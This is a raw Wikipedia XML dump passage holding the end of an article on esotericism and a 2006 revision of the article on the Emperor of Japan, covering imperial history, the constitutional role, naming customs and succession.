While many esoteric subjects have a history reaching back thousands of years, these have generally not survived as continuous traditions. Rather, they have benefitted from various antiquarian revival movements. During the Italian [[Renaissance]], for example, translators such as [[Ficino]] and [[Pico della Mirandola]] turned their attention to the classical literature of [[neo-Platonism]], and what was thought to be the pre-Mosaic tradition of [[Hermeticism]]. Nineteenth-century writers turned their attention to earlier traditions of magic and witchcraft, often in conjunction with the various nationalisms of the day. [[Nazi mysticism]] is an extreme example.

Nineteenth-century esoteric writers came to be deeply influenced by various Eastern religions, which they typically saw as partaking of the same divine truth. Thus [[Madame Blavatsky]] could combine Indian philosophy with various Western esoteric traditions. In her view, the saints and mystics of all countries and ages (many of them otherwise unknown) cooperate in a common fraternity which resembles the lodges of [[Freemasonry]] as well as the original [[Rosicrucians]], who were said to be &quot;invisible.&quot; (Rosicrucianism was another tradition which enjoyed a nineteenth-century revival.)

Perhaps the most important twentieth-century development was a certain psychological turn, in which esoteric subjects acquired new subjective interpretations more in accord with prevailing scientific opinion. If alchemy turned out to be a dead end when taken literally, i.e. as a search for artificial gold or the elixir of life, then it might find new life as a symbol for the workings of the unconscious, as [[Carl Jung]] would have it. The intersection of esotericism with mysticism and religious pluralism is another important emphasis of this period, and is represented in the writings of [[Rene Guenon]]. The influence of [[post-modernism]] remains to be digested.

==Esoteric themes==
What, in a nutshell, does &quot;esotericism&quot; teach? No possible answer could do justice to the myriad groups which are subsumed under this name. However, we may venture some representative examples:

*[[Deconstruction | Deconstructionism]] takes classical philosophical writings and concepts that once seemed clear, and dissects them bit by bit, concentrating on language and syntax, to arrive at new variants that are intended to reveal new insights, though the process and the result are esoteric.

*[[Kabbalah]] preserves traditions describing the origin and destiny of humanity and the universe, as well as practices aimed at restoring ourselves and the world to our true stations. These are of course typical religious concerns, which in this case parallel or amplify the teachings and practices of mainstream Judaism.
*[[Gnosticism]] teaches that this world is not our true home--that by seeing through the illusion and realizing our true nature, we can escape, returning to the world of spirit.
*[[Hermeticism]], including [[astrology]], is based on the assumption that the soul and the cosmos are mysteriously and fundamentally linked. &quot;As above, so below.&quot;
*[[Freemasonry]] and some forms of [[alchemy]] use symbolic means to aid the practitioner in his individual betterment, with the aim of increasing virtue and drawing closer to the divine.
*[[Theosophy]] and its offshoots teach the existence of hidden masters, who are charged with guiding earth's spiritual evolution.  We may choose to actively cooperate with these efforts.
*[[Spiritualism]] emphasizes the comfort of direct experience of the afterlife by means of communion with ghosts.
*The [[Gurdjieff]] work teaches that people normally function like automatons, but can be taught to &quot;wake up&quot; via special practices which shake us out of our normal, mind-numbing habits.
*[[Jungian psychology]] seeks to integrate the various dualities and contraries within a patient's psyche through involvement with myths, dreams, and visions.
*[[Taoism]] seeks to preserve the thoughts of ancient chinese, and aimed to achieved balance ([[yin]]/[[yang]]) with nature. Classic works includes [[Daodejing]] which strongly influenced a lot of east Asian esotericism. Taoist commentators have been very impressed by the opening lines of the ancient Daodejing, which can be translated:

The way which can be uttered, is not the eternal Way. 
The name which can be named, is not the eternal Name. &lt;br&gt;

(The original words are

道可道，非常道。 
名可名，非常名。 
In Chinese, &quot;道&quot; or &quot;Dao&quot;, when used as a noun, it means &quot;way&quot; or &quot;path&quot;; but when it is used as a verb, it means &quot;to utter&quot; or &quot;to speak it out&quot;.)

As important a part of esotericism as any of these answers, is the spirit of quest which has encouraged seekers throughout the ages to search the world, and their own souls, for deeper meaning and ultimately salvation.

==Traditions==
Many groups or schools of thought embrace an esoteric tradition or philosophy:

*[[Alchemy]]
*[[Anthroposophy]]
*[[Astrology]]
*[[Esoteric Buddhism]]
*[[Esoteric Christianity]]
*[[Freemasonry]]
*[[Fourth Way]]
*[[Gnosticism]]
*[[Hermeticism]]
*[[Illuminati]]
*[[Kabbalah | Kabbalists]]
*[[Nazi mysticism]]
*[[Occultism]]
*[[OTO]]
*[[Rosicrucian]]s
*[[Shamanism]]
*[[Sufism]] (Esoteric Islam)
*[[Surat Shabd Yoga|Surat Shabda Yoga]]
*[[Thelema]]
*[[Theosophy]]
*[[Traditionalist School|Traditionalism]] ([[Rene Guenon]] etc)
*[[Vajrayana]] (Esoteric [[Buddhism]])
*[[Western mystery tradition]]
*[[Wicca]]
*[[Yoga]]

==Esotericism in popular culture==
*[[Paulo Coelho]]'s novel ''[[The Alchemist (book)|The Alchemist]]'' involves a spiritual interpretation of alchemy.

*[[Umberto Eco]] has written fiction with esoteric themes, notably the satirical novel ''[[Foucault's Pendulum]]''. 

*The plot of [[Dan Brown]]'s ''[[Da Vinci Code]]'' involves a centuries-old secret society called the [[Priory of Sion]], charged with preserving certain secrets relating to Jesus Christ and the Merovingian kings.

*On an episode of the animated series [[Family Guy]], [[Lois Griffin|Lois]] asks [[Peter Griffin|Peter]] if he thinks his float in the town parade (The episode of [[Who's the Boss?]] where Tony sees Angela naked in the shower) is esoteric. We then see a group of men inside Peter's head discussing what 'esoteric' means. One of the men suggests that esoteric means delicious.

==See also==
{{portalpar|1=Spirituality|2=EndlessKnot03d.png}}
* [[Esoteric cosmology]]
* [[Exoteric]]
* [[Gnosis]]
* [[Karma]]
* [[List of Buddhist topics]]
* [[List of Masonic organizations]]
* [[List of spirituality-related topics]]
* [[List of symbols#Religious, esoteric, metaphysical and mystical symbols|List of religious, esoteric, metaphysical and mystical symbols]]
* [[Mystery religion]]
* [[Mysticism]]
* [[New Age]]
* [[Numerology]]
* [[Occult]]
* [[Odic force]]
* [[Qigong]]
* [[Plane (cosmology)|Planes of existence]]
* [[Reincarnation]]
* [[Spiritual evolution]]
* [[Western mystery tradition]]

[[Category:Esoteric schools of thought]]
[[Category:Esotericism| ]]
[[Category:Mysticism]]
[[Category:Occult]]

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[[fr:Ésotérisme]]
[[it:Esoterismo]]
[[hu:Ezoterika]]
[[nl:Esoterie]]
[[pl:Ezoteryka]]
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    </revision>
  </page>
  <page>
    <title>Emperor of Japan</title>
    <id>10110</id>
    <revision>
      <id>41932871</id>
      <timestamp>2006-03-02T18:45:18Z</timestamp>
      <contributor>
        <ip>156.99.30.174</ip>
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      <comment>/* Shoguns */</comment>
      <text xml:space="preserve">{{Politics of Japan}}
[[Image:akihito.jpg|thumb|150px|left|His Majesty Emperor Akihito of Japan]]
The '''Emperor''' (天皇 ''tennō'', literally &quot;heavenly sovereign&quot;) is a constitutionally-recognized symbol of the [[Japan]]ese nation and the unity of its people. He is the head of the [[Imperial Household of Japan|Japanese Imperial Family]], the [[imperial family]] of Japan. Under Japan's present constitution, the emperor is a ceremonial figurehead in a [[constitutional monarchy]] (see [[Politics of Japan]]).

Until the mid-twentieth century, the role of the emperor of Japan has alternated between that of a supreme-rank [[cleric]] with largely symbolic powers and that of an actual imperial ruler. An underlying [[imperial cult]] ([[Arahitogami]]) regards the emperor as being descended from gods. With some exceptions, Japanese monarchs have not been military commanders, contrary to the role of Western [[Emperor#Roman Emperors|monarch]]. Generally, before the [[Meiji Restoration]], emperors merely legitimized those in actual power. 

The current emperor is [[Akihito|Emperor Akihito]], referred to in Japan as &quot;His Majesty the Emperor&quot; (Tennō Heika, 天皇陛下), as calling him by his personal name is considered disrespectful.  He has been on the [[Chrysanthemum Throne]] since his father [[Hirohito|Emperor Hirohito]] died in 1989.

Since the mid-nineteenth century, the Imperial Palace has been called ''[[Kokyo|Kōkyo]]'' (皇居), and located on the former site of [[Edo Castle]] in the heart of [[Tokyo]]. Earlier emperors resided in [[Kyoto]] for nearly eleven centuries.

Certain dates and details may be in dispute among Japanese [[historian]]s. Many emperors cited in the formal [[list of Emperors of Japan]] died at a very young age and can hardly be said to have &quot;ruled&quot; in any serious sense of the word. Others were overshadowed by their predecessors, who had ostensibly retired to a [[monastery]] but continued to exert influence in a process called &quot;[[cloistered rule]].&quot;

Cloistered emperors have been known to come into conflict with the reigning emperor from time to time; a notable example is the [[Hogen Rebellion|Hogen Rebellion]] of 1156, in which former [[Emperor Sutoku]] attempted to seize power from the then current [[Emperor Go-Shirakawa]].  Other instances, such as [[Emperor Go-Toba]]'s 1221 rebellion against the [[Kamakura shogunate]] and the 1336 [[Kemmu Restoration]] under [[Emperor Go-Daigo]], show the power struggle between the Imperial House and the military governments of Japan.

[[Image:Japanemperorbirthday.jpg|right|thumb|250px|A flag-waving crowd greet Emperor Akihito at the Imperial Palace on his birthday. Photo taken on Dec. 23, 2004.]]

== History ==
[[Image:Japaneseroyalfamily2.jpg|thumb|300px|Emperor Akihito and his family. From front left to right: [[His/Her Imperial Highness|HIH]] [[Masako, Crown Princess of Japan|Crown Princess Masako]], HIH [[Crown Prince]] [[Naruhito, Crown Prince of Japan|Naruhito]] (''Hiro-no-miya''), [[Aiko, Princess Toshi|Princess Aiko]] (title: ''Toshi-no-miya''), HIM [[Akihito|The Emperor]], HIH [[Kako Akishino, Princess of Japan|Princess Kako]], HM [[Empress Michiko of Japan|Empress Michiko]] back left to right: HIH [[Mako Akishino, Princess of Japan|Princess Mako]], HIH [[Fumihito, Prince Akishino|Prince Akishino]] (''Akishino-no-miya''), HIH [[Kiko, Princess Akishino|Princess Kiko]] (Princess Akishino)]]

Although the emperor has been a symbol of continuity with the past, the degree of power exercised by the emperor of Japan has varied considerably throughout Japanese history. The earliest emperors recorded in [[Kojiki]] and [[Nihonshoki]], such as [[Emperor Jimmu]], are considered today to have no historical credibility. Historians think the first emperor who existed historically was [[Emperor Ojin|Emperor Ōjin]], but the time of his reign is uncertain. These two books state that the imperial house maintained a continuous lineage, though today some historians believe that many ancient emperors who were claimed to be descendants of Emperor Ōjin had no actual genealogical tie to their predecessor. 

===Shoguns===
From the 1100s to 1868, the real power was in the hands of the [[Shogun|shogun]]s, who were in theory always given their authority through the emperor. When [[Spain|Spanish]] and [[Portugal|Portuguese]] explorers first contacted Japan (see ''[[Nanban]] period''), they likened the relationship between emperor and shogun to that of the [[Roman Catholic Church|Catholic]] [[Pope]] (godly, but with little political power) and king (earthly, but with a relatively large amount of political power) though this in itself can be considered inaccurate as, like the Emperor, Catholic Popes have wielded varying degrees of power throughout their history.

The title &quot;Emperor of Japan&quot; is in some sense an expedient Western construct of a hereditary officer who has historically had a deeply ingrained position in Japanese society, without any necessary role in government. Japanese administrations have usually had to accept the emperor as a necessary inconvenience - as the Italian government had to live with the pope residing within the borders of Italy. The Japanese people conventionally regard such a figurehead as a monarch, in the same sense that the [[caliph]], the [[pope]] and the [[stadtholder]] of the [[Dutch Republic]] were once regarded as monarchs. In most (if not all) periods, that monarch has had at least some official role in the government of Japan - or perhaps we should say that governments have utilized the influence of the emperor to their own advantage.

Up to recent centuries, Japan's territory did not include several remote regions of its modern-day territory. The name Nippon came into use only many centuries after the start of the current imperial line. Centralized government really only began to appear shortly before and during the time of [[Prince Shotoku]]. The emperor was more like a revered embodiment of divinity rather than the head of an actual governing administration. In Japan it has always been easy for ambitious lords to hold actual power, as such positions have not been inherently contradictory to the emperor's position. Parliamentary government today continues a similar coexistence with the emperor as have various shoguns, regents, warlords, guardians, etc. It is perhaps technically a distortion to use the English word &quot;emperor&quot; to translate the word &quot;tennō&quot;. In Europe, people holding similar offices have retained the titles used in their own native language, which is perhaps more accurate than trying to translate such a unique office into a preexisting English term.

Historically the titles of tennō in Japanese have never included territorial designations as is the case with many European monarchs. The position of emperor is a territory-independent phenomenon - the emperor is the emperor, even if he has followers only in one province (as was the case sometimes with the southern and northern courts).

===Meiji restoration===
By the constitution of 1889, the emperor of Japan transferred a large part of his former powers as absolute monarch to the representatives of the [[nation|people]], but remained head of the [[empire]]. Though inspired by the constitutions of Europe, the new [[Meiji Constitution]] was not as democratic as some had initially hoped. The emperor was given broad and vague &quot;reserve powers&quot; which in turn were exploited by the [[Prime minister|prime minister]] and various cliques around the emperor. By the 1930s the Japanese cabinet was largely composed of pseudo-[[fascist]] military leaders who used the emperor and his supposed divinity as an ultra-nationalistic rallying point for expansion of the empire. When World War II erupted, the emperor was the symbol soldiers were indoctrinated to fight and die for. The emperor himself was hidden from sight, however, and his actual role during this period is disputed. It is commonly believed he was largely sidelined by the military. Controversy still remains as to the role [[Hirohito]] played in commanding Japanese forces during the [[Second Sino-Japanese War]] and the [[Pacific War]].

===Post World War II===
[[image:macarthur hirohito.jpg|thumb|250px|General MacArthur and Hirohito]]
After Japan's surrender to [[Allies|allied forces]] ending [[World War II|WWII]], 'emperor' became a ceremonial title only, with Japan's real political power residing in its legislative body. [[United States|US]] General [[Douglas MacArthur]] insisted that Hirohito remain emperor to keep him as a symbol of continuity and cohesion within Japanese society. Despite [[Harry Truman|Truman]]'s desire to have Hirohito tried for [[war crimes]], Truman consented to MacArthur's views, and Hirohito kept his status, though he was forced to disavow previous claims of being an [[arahitogami]] or living god. Only Hirohito personally renounced his divine status; other members of the imperial family did not.

Since the war, the emperor has become a strictly ceremonial figure within Japanese society. Though he presides over certain government events, he is now simply a [[figurehead]] who is explicitly banned from participating in politics in any way.

==Current role ==
The emperor's role is defined in Chapter I of the 1947 [[Constitution of Japan]].  Article 1 defines the emperor as the symbol of state and the unity of the people, Article 3 requires the approval of the cabinet for all acts of the emperor in matters of state, Article 4 specifically states that the emperor shall not have powers related to government, Article 6 gives the emperor the power to appoint the prime minister and the chief judge of the supreme court, each as designated by the Diet and cabinet, respectively, and Article 7 gives the emperor power to perform various ministerial functions typical of a head of state, subject to the advice and approval of the cabinet. In contrast with other constitutional monarchs, the emperor of Japan has no [[reserve power]]s.

Although the emperor currently performs many of the roles of a ceremonial sovereign as [[head of state]], there has been persistent controversy within Japan as to whether the emperor is in fact a true [[monarch]] in a political sense or merely a hereditary [[pretender]] holding such office within a constitutional parliamentary [[republic]]. In a traditional monarchy, political power devolves from the monarchical sovereign, whose [[Royal prerogative]] are then exercised at the whim of elected legislators by way of established [[Constitutional convention (political custom)|constitutional convention]]. However, if there is no royal prerogative then sovereignty must rest with people as it is so established under [[Constitution of Japan|Article One of the Constitution of Japan]]. Hence the emperor is simply a political actor within a government that does not truly adhere to the Westminster system where the position of  &quot;head of the state&quot; requires a person of sovereignty or with popular mandate to assume that office. Efforts in the [[1950s]] by conservative powers to amend the constitution to explicitly name the emperor as head of state were rejected.  Regardless, the emperor does perform all the diplomatic functions normally associated with a head of state and as a result is recognized as such by foreign powers.

==Naming==
Due to linguistic and cultural differences between Japan and the Western world, naming the emperors of Japan is often troublesome. While scholastic texts in Japan use &quot;{name} tennō&quot; consistently, in texts by English-speaking academics several variants have been used, such as &quot;Emperor {name}&quot;, &quot;the {name} Emperor&quot;, and &quot;{name} Tenno&quot;, although &quot;Emperor {name}&quot; appears to be the most common among these, particularly for emperors prior to [[Emperor Meiji]]. What is often not understood, however, is that emperors are posthumously named &quot;{name} tennō&quot;, and thus the word &quot;tennō, or &quot;emperor&quot;, actually forms a part of their proper name. This is particularly misunderstood with respect to the emperors from Emperor Meiji onward, since the convention now is to posthumously name the emperors the same name as the era over which they preside, whereas previously one emperor's reign might contain a succession of short [[Japanese era name|eras]]. Terms such as &quot;the Meiji emperor&quot; are thus understood in English as meaning &quot;the emperor of the Meiji period&quot;, which is not the understanding in Japanese.

In [[English language|English]], the term '''''mikado''''' (御門 or 帝 or みかど), which literally means &quot;exalted gate&quot;, used to be used to refer to the emperor of Japan; this usage is now outdated, as it is in [[Japanese language|Japanese]]. In Japanese, the emperors of Japan, but not of other countries, are known as '''tennō''' (天[[Three Huang and five Di|皇]]). Literally, the word ''tennō'' combines the characters for &quot;ruler&quot; and &quot;heaven&quot;, but this is not a mark of divinity; the use of ''ten'' (天, &quot;heaven&quot;) in the Japanese word was an adoption of the established Chinese concept of the [[Mandate of Heaven]], which meant that an emperor was appointed in the heavens to balance the political and religious affairs of his domain.

There are three Japanese words equivalent to the English word &quot;emperor&quot;: ''tennō'' (天皇) is used specifically to describe the emperor of Japan, ''kōtei'' (皇帝, lit. &quot;emperor of emperors&quot;) is used primarily to describe a [[Chinese emperor]] or a foreign emperor, and ''teiō'' (帝王, lit. &quot;emperor of kings&quot;) is used to describe foreign emperors as well but never a Chinese emperor. '''''Sumeramikoto''''' (lit. &quot;heavenly ruler above the clouds&quot;) was also used in [[Old Japanese language|Old Japanese]].

Traditionally, East Asians consider it discourteous to call a person of noble rank by their given name. This convention is almost dead, but still observed for the imperial family. In fact, the emperor is never to be referred to by name (''imina'') unless he is dead. Instead, past emperors are called by [[posthumous name]]s such as [[Emperor Jimmu]], Emperor Kammu and Meiji. Since the [[Meiji era]], [[Japanese era name|era names]] are also used as posthumous names. The current emperor on the throne is almost always referred to simply as ''Tennō Heika'' (天皇陛下, lit. &quot;His Majesty the Emperor&quot;) or solemnly as Kinjō Tennō (今上天皇). On the other hand, in ordinary conversations he is referred to simply as ''Heika'', ''Okami'' or ''To-gin san'' ('To-gin' is a frank expression of Kinjō). The current emperor is not called by the current era name: the era will become his [[posthumous name]].
But today this custom tends to be followed more loosely, as described below. In English, the recent emperors are called by their personal names according to Western convention. As explained above, in Japanese this sounds offensive and, in some senses, blasphemous. 

For example, the previous emperor is usually called [[Hirohito]] in English, but after his death he was renamed ''Shōwa Tennō'' and is now referred to exclusively by this name in Japanese. However, during his reign, he was never referred as Hirohito or ''Shōwa Tennō'' in Japanese. Rather, he was simply referred to as ''Tennō Heika'' (meaning &quot;His Majesty the Emperor&quot;).

===Origin of the title===
The ruler of Japan was variously known as ヤマト大王/大君 (yamato ōkimi, Great King of Yamato), 倭王/倭国王 (waō/wakokuō, King of Wa, used externally), 治天下大王 (amenoshita shiroshimesu ōkimi or sumera no mikoto, Great King who rules all under heaven, used internally) in Japanese and Chinese sources prior to the 7th century. The first documented use of the title &quot;tennō&quot; is in the diplomatic letter from Empress Suiko to Emperor Yang of Sui China in 607 CE, bearing the sentence &quot;tennō of the east hails kōtei of the west&quot;, although the same sentence was translated into Chinese as &quot;tianzi of the land of sunrise hails tianzi of the land of sunset&quot;. 天子, tianzi, son of heaven, was a title used by Chinese emperors. The use of the title proliferated in Japan and China since the 7th century.
The introduction of this term comes amidst the movement of Japanese [[sinicization]], and is considered an attempt of the Japanese rulers to assert themselves on equal footing with the Chinese emperors.
Notably, Tianhuang (天皇), Chinese equivalent of tennō, was among the titles adopted by Emperor Gaozong of Tang China in the same period, although it is not known whether the two usages arose independently or whether one was influenced by the other.

==Marriage traditions==
Japanese monarchs have been, as much as others elsewhere, dependent on making alliances with powerful chiefs and other monarchs. Many such alliances were sealed by marriages. The specific feature in Japan has been the fact that these marriages have been soon incorporated as elements of tradition which controlled the marriages of later generations, though the original practical alliance had lost its real meaning.

Beginning from the 7th and 8th centuries, emperors primarily took women of the [[Fujiwara clan]] as their highest wives - the most probable mothers of future monarchs. This was cloaked as a tradition of marriage between heirs of two [[kami]]s, [[Shinto]] gods: descendants of [[Amaterasu]] with descendants of the family kami of the Fujiwara. (Originally, the Fujiwara were descended from relatively minor nobility, thus their kami is an unremarkable one in the Japanese myth world.) The reality behind such marriages was an alliance between an imperial prince and a Fujiwara lord, his father-in-law or grandfather, the latter with his resources supporting the prince to the throne and most often controlling the government. These arrangements created the tradition of regents ([[Sessho and Kampaku]]), with these positions alowed to be held only by a Fujiwara [[sekke]] lord.

Earlier, the emperors had married females from families of the government-holding [[Soga clan|Soga]] lords, and females of the imperial clan itself, i.e various-degree cousins and often even their own sisters (half-sisters). Several imperials of the 5th and 6th centuries were children of a couple of half-siblings. These marriages often were alliance or succession devices: the Soga lord ensured the domination of a prince, to be put as puppet to the throne; or a prince ensured the combination of two imperial descents, to strengthen his own and his children's claim to the throne. Marriages were also a means to seal a reconciliation between two imperial branches.

After a couple of centuries, emperors could no longer take anyone from outside such families as primary wife, no matter what the expediency of such a marriage and power or wealth brought by such might have been. Only very rarely was a prince without a mother of descent from such families allowed to ascend the throne. The earlier necessity and expediency had mutated into a strict tradition that did not allow for current expediency or necessity, but only dictated that daughters of a restricted circle of families were eligible brides, because they had produced eligible brides for centuries. Tradition had become more forceful than law.

The five Fujiwara families, Ichijo, Kujo, Nijo, Konoe and Takatsukasa, were the primary source of imperial brides from the 8th century to the 19th century, even more often than daughters of the imperial clan itself. Fujiwara daughters were thus the usual empresses and mothers of emperors.

The acceptable source of imperial wives, brides for the emperor and crown prince, were even legislated into the [[Meiji]]-era imperial house laws, which stipulated that daughters of Sekke (the five main branches of the higher Fujiwara) and daughters of the imperial clan itself were primarily acceptable brides.

Since that law was repealed in the aftermath of WWII, the present Emperor Akihito became the first crown prince for over a thousand years to have an empress outside the previously eligible circle.

===Succession===
Millennia ago, the Japanese imperial family developed its own peculiar system of hereditary succession. It has been non-primogenitural, more or less agnatic, based mostly on rotation. Today, Japan uses strict [[agnatic]] [[primogeniture]] - in other words, pure [[Salic law]]. It was adopted from [[Prussia]], by which Japan was greatly influenced in the 1870s.

Strict agnatic primogeniture is, however, directly contradictory to several old Japanese traditions of imperial succession.

The controlling principles and their interaction were apparently very complex and sophisticated, leading to even idiosyncratic outcomes. Some chief principles apparent in the succession have been: 
* Females were allowed to succeed (but not allowed to be inherited by their own children, unless the father of the child also happened to be an agnate of the imperial house). However, female accession was clearly much rarer than male.
* Adoption was possible and a much used way to increase the number of succession-entitled heirs (however, the adopted child had to be a child of another member of the imperial house).
* Abdication was used very often, and in fact occurred more often than death on the throne. In those days, the emperor's chief task was priestly (or godly), containing so many repetitive rituals that it was deemed that the incumbent deserved pampered retirement as an honored former emperor.
* Primogeniture was not used - rather, in the early days, the imperial house practised something resembling a system of rotation. Very often a brother (or sister) followed the elder sibling even in the case of the predecessor leaving children. The &quot;turn&quot; of the next generation came more often after several individuals of the senior generation. Rotation went often between two or more of the branches of the imperial house, thus more or less distant cousins succeeded each other. [[Emperor Go-Saga]] even decreed an official alternation between heirs of his two sons, which system continued for a couple of centuries (leading finally to shōgun-induced (or utilized) strife between these two branches, the &quot;southern&quot; and &quot;northern&quot; emperors). Towards the end, the alternates were very distant cousins counted in degrees of male descent (but all that time, intermarriages occurred within the imperial house).  After a while, however, probably due to [[Confucianism|Confucian]] influence, inheritence by sons - but not always, or even most often, the eldest son - became the norm.

Historically, the [[succession]] to Japan's [[Chrysanthemum Throne]] has always passed to descendants in male line from the imperial lineage. Generally they have been males, though of the over one hundred monarchs there have been eight women as Emperor.

In part, the Japanese imperial dynasty owes its longevity in the male line to the use of [[concubine]]s, a practice that only ended in the [[Taisho]] period (1912-1926). The Japanese monarchy also relied on the specially designated collateral lines or [[shinnoke|shinnōke]] (shinnō houses).

In the last thousand years, sons of an imperial male and a Fujiwara woman have been preferred in the succession. Also, sons of the empress were preferred over sons of concubines, mainly because Fujiwara women were often Empresses and concubines came from less exalted noble families. Some emperors even had two empresses simultaneously (kogo, chugu) after a decree from the reign of [[Emperor Ichijo|Emperor Ichijo]]. There are indications that between the son of a Fujiwara woman and the son of an imperial princess, Fujiwara descent was given precedence. This may have been caused by the higher influence of the said Fujiwara's relatives, but may also have been a part of tradition, perhaps due to the preference to have an emperor with two-side descent from the two kamis.

The two influential patterns of maternal descent were:
* a powerful maternal grandfather ensured a puppet on the throne in the person of an underage grandson, himself becoming their guardian. This pattern was usual in the Soga and Fujiwara eras, and even some later shoguns used their daughters in that way. This sometimes also occurred with a father-in-law and an imperial son-in-law (but regent lords preferred underage grandsons to adult son-in-laws).
* a prince having descent from two rival branches of the imperial dynasty, one from the paternal side and the other from the maternal side, was elevated to the throne as a symbol of reconciliation.

Besides the empress, the emperor could take concubines, and the son he had by a concubine would be recognized as heir to the throne if the empress did not give birth to an heir. Concubines were allowed also to other dynasts (shinno, o). With the help of polygamy, the imperial clan thus was capable of producing more male offspring, increasing the probability that the dynasty survived in the male line.

If the immediate imperial family failed to produce an heir, one of the [[shinnoke|shinnōke]] could provide the future emperor. There were four such collateral lines in the [[Edo period]]: [[Fushimi-no-miya|Fushimi]], [[Katsura-no-miya|Katsura]], [[Arisugawa-no-miya|Arisugawa]], and [[Kan'in-no-miya|Kan'in]]. Emperor Kōkaku (reigned 1780-1817), the lineal ancestor of all subsequent emperors, was a scion of the Kan'in house. A shinnoke could be inherited by a prince of another branch by permission of the emperor, and alternatively could be revived (the princedoms, shinnoke, seem more or less the common property of the imperial clan). The Edo-period Katsura and Arisugawa houses died out in 1881 and 1913, respectively (though they were revived later, the Arisugawa as Takamatsu, its older name, and the Katsura in the person of the second son of [[Prince Mikasa]]). The Fushimi branch, originating from the 15th century, produced a vast number of children in two generations in the 19th century. A scion of the Fushimi house succeeded to the Kan'in house in 1884. The Fushimi house was the progenitor of nine other cadet branches ([[oke|ōke]]) of the imperial family during the [[Meiji period]]. This house and its offshoots were reduced to commoner status in 1947. 

Before the [[Meiji Restoration]], Japan had eight female tennō or reigning empresses, all of them daughters of the male line of the Imperial House. None ascended purely as a wife or as a widow of an emperor. Imperial daughters and granddaughters, however, usually ascended the throne as a sort of a &quot;stop gap&quot; measure - if a suitable male was not available or some imperial branches were in rivalry so that a compromise was needed. Almost all Japanese empresses and dozens of emperors abdicated - many empresses once a suitable male descendant in the male line of imperial descendants became old enough. (Suitable male means after his toddler years - Japanese emperors often ascended as children, as young as 6 or 8 years old, as reaching the age of legal majority was not a requirement. The high-priestly duties were deemed possible for a walking child - and several emperors abdicated/reached their entitled retirement while still in their teens.) Three empresses, [[Empress Suiko]], [[Empress Kogyoku|Empress Kōgyoku]] (also Empress Saimei) and [[Empress Jito|Empress Jitō]], were widows of deceased emperors and princesses of the blood imperial in their own right. One, [[Empress Gemmei]], was the widow of a crown prince and a princess of the blood imperial. The other four, [[Empress Gensho|Empress Genshō]], [[Empress Koken|Empress Kōken]] (also Empress Shōtoku), [[Empress Meisho|Empress Meishō]] and [[Empress Go-Sakuramachi|Empress Go-Sakuramachi]], were unwed daughters of previous emperors. None of these empresses married or gave birth after ascending the throne.

Article 2 of the 1889 [[Meiji Constitution]] (or Constitution of the Empire of Japan) stated, &quot;The Imperial Throne shall be succeeded to by Imperial male descendants, according to the provisions of the Imperial House Law.&quot; The 1889 Imperial Household Law fixed the succession on male descendants of the imperial line, and specifically excluded female descendants from the succession. In the event of a complete failure of the main line, the throne would pass to the nearest collateral branch, again in the male line. If the empress did not give birth to an heir, the emperor could take a concubine, and the son he had by that concubine would be recognized as heir to the throne.  This law, which was promulgated on the same day as the [[Meiji Constitution]], enjoyed co-equal status with that constitution.  

Article 2 of the [[Constitution of Japan]] provides that &quot;The Imperial Throne shall be dynastic and succeeded to in accordance with the Imperial Household Law passed by the Diet.&quot; The [[Imperial Household Law]] of [[16 January]] [[1947]], enacted by the ninety-second and last session of the Imperial Diet, retained the exclusion on female dynasts found in the 1889 law. The government of Prime Minister [[Yoshida Shigeru]] hastily cobbled together the legislation to bring the Imperial Household in compliance with the American-written [[Constitution of Japan]] that went into effect in May 1947. In an effort to control the size of the imperial family, the law  stipulates that only legitimate male descendants in the male line can be dynasts; that imperial princesses and princesses lose their status as Imperial Family members if they marry outside the Imperial Family; and that the Emperor and other members of the Imperial Family may not adopt children.

====Current status====
Succession is now regulated by laws passed by the [[Diet of Japan|Japanese Diet]]. The current law excludes females from the succession despite the historical existence of female occupants of the throne. A change to this law is being considered, since, [[as of 2005]], the only child of The Imperial Highness the Crown Prince [[Naruhito, Crown Prince of Japan|Naruhito]] is female. (In the [[List of Emperors of Japan|list of emperors of Japan]], the empresses regnant are those with an [[asterisk]] after their reigning periods.) This creates a logistical challenge as well as political: any change in the law would most likely mean a revision to allow the succession of the first born rather than the first born son; however, the current emperor is not the first born, he has elder sisters.

There is a potential succession crisis since no male child has been born into the imperial family since Prince Akishino in 1965. Following the birth of [[Aiko, Princess Toshi|Princess Aiko]], there was some public debate about amending the current Imperial Household Law to allow women to succeed to the throne. In January 2005 Prime Minister [[Koizumi Junichiro]] appointed a special panel comprised of judges, university professors, and civil servants to study changes to the Imperial Household Law and to make recommendations to the government. 

The panel dealing with the succession issue recommended on [[October 25]], [[2005]] amending the law to allow females of the male line of imperial descent to ascend the Japanese throne. On [[January 20]], [[2006]], [[Prime Minister]] [[Junichiro Koizumi]] devoted part of his annual keynote speech to the controversy, pledging to submit a bill allowing women to ascend the throne to ensure that the succession continues in the future in a stable manner. However, shortly after the announcement that [[Kiko, Princess Akishino|Princess Kiko]] was pregnant with her third child, Koizumi suspended such plans. If the child is a male, he will be the third in line to the throne under the current law of succession.

==trivia==
According to [[Shoku Nihongi]](続日本紀, the Chronicles of Japan II), [[Emperor Kammu]]'s mother, [[Takano no Niigasa]] was a descendant of King of [[Baekje]], who reigned 200 years earlier.

==See also==
*[[Controversies regarding the role of the Emperor of Japan]]
*[[Shogun]]
*[[Bakufu]]
*[[Cloistered rule]]
*[[History of Japan]]
*[[List of Emperors of Japan]]
*[[Lists of incumbents]]
*[[Imperial Household of Japan]]
*[[Ningen-sengen]]
*[[Japanese Imperial succession controversy]]
*[[Japanese nationalism]]
*[[Imperial Regalia of Japan]]

==References==
*{{1911}}

== External links == 
*[http://www.kunaicho.go.jp/eindex.html The Imperial Household Agency]
*[http://photoguide.jp/pix/thumbnails.php?album=158 Photos of Emperor's birthday at the Imperial Palace]
*[http://www.friesian.com/sangoku.htm#japan List of the Emperors], accompanied with the regents and shoguns during their reign and a genealogical tree of the imperial family
*[http://www.wsu.edu:8001/~dee/GLOSSARY/TENNO.HTM A Page from Washington State University]
*[http://www.zmag.org/content/showarticle.cfm?SectionID=17&amp;ItemID=8081 Emperor, Shinto, Democracy]: Japan's Unresolved Questions of Historical Consciousness
*[http://www.heraldica.org/topics/royalty/japan.htm The Emperor of Japan], explanation of the title of emperor in the context of western terminology

[[Category:Japanese emperors| ]]
[[Category:Japanese monarchy]]
[[Category:Positions of authority]]
[[Category:Monarchy]]
[[Category:Tokyo]]
[[Category:Yamato line]]
[[Category:History of Japan]]
[[Category:People involved with Shinto]]

[[cy:Rhestr Ymerawdwyr Siapan]]
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[[es:Emperador de Japón]]
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[[ko:천황]]
